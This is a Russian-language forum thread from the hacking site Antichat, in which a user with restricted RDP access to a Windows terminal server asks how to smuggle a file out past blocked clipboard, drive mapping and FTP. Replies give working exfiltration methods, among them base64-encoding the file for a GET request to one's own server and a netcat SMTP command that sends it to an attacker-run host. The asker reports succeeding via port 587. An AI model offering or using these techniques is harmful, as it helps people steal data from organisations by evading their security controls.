Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Слить файл через RDP (https://forum.antichat.xyz/showthread.php?t=438657)

ChuckD 17.03.2016 00:41

Здравствуйте! Помогите советом как слить файл с сервера терминалов Windows Server 2008.

Есть доступ к серверу по RDP. Пользователь без админ. прав.

Буфер обмена и подключение дисков запрещено.

IE к интернету не подключается.

Команда FTP подключения к внешним серверам не производит.

пинги на сайты идут.

telnet на 80 порт mail.ru данные получает.

telnet на 25 порт подключается нормально.

Что то ничего в голову не идет.

Нет мыслей?

PS

Почту можно отправить, но как вложение прикрепить???

1qoot1 17.03.2016 01:30

powershell + mail : )

или другие вариации.

rct 17.03.2016 01:50

Вариант №1. Файл в base64 и GET на твой урл, который запишет в лог.

Вариант №2. Файл в base64. Поднимаешь у себя любой самый простой smtp-сервер на 25 порту, раз на него с того сервака разрешен конект. В шинде я не шарю вообще, но на линуксе я бы сделал так:

msg="ehlo hello server\nmail from:\nrcpt to:\ndata\nтут_base64_твоего_файла\r \n.\r\n";

echo -ne $msg | nc my_server 25

И смотришь во входящих. Ясень пень, всяких DKIM, PTR и прочих защит не должно быть.

ChuckD 17.03.2016 02:07

Спасибо за идеи, бум пробовать завтра!

ChuckD 18.03.2016 00:13

Подготовил скриптик, а 25 порт больше не гугу. Закрыли чтоли? Странно, еще вчера работал.

пытаюсь на мылру отправить через 465, так скрипт не пашет, пишет время ожидания истекло...

В общем бьюсь пока

rct 18.03.2016 00:18

Цитата:

Сообщение от ChuckD

Подготовил скриптик, а 25 порт больше не гугу. Закрыли чтоли? Странно, еще вчера работал.
пытаюсь на мылру отправить через 465, так скрипт не пашет, пишет время ожидания истекло...
В общем бьюсь пока

Мылрушка не пропустит такое письмо даже в спам.

ChuckD 18.03.2016 00:25

С локальной машины и с другого сервера (также через RDP подключение) все ходит на ура на мылру через 25, пол дня тестировал. А щас начал на "целевом" пробовать - облом!

ChuckD 18.03.2016 00:26

Подсоветуйте как быть, что попробовать...

ChuckD 18.03.2016 02:23

Все! Всем спасибо, получилось!

оказывается при SSL через p-shell на 465 порт не идет - это стандартная проблема. Зато хорошо идет через 587! Если он не закрыт конечно

warmi 25.03.2016 00:09

Цитата:

Сообщение от 1qoot1

powershell + mail

Можно пример кода?


Время: 08:46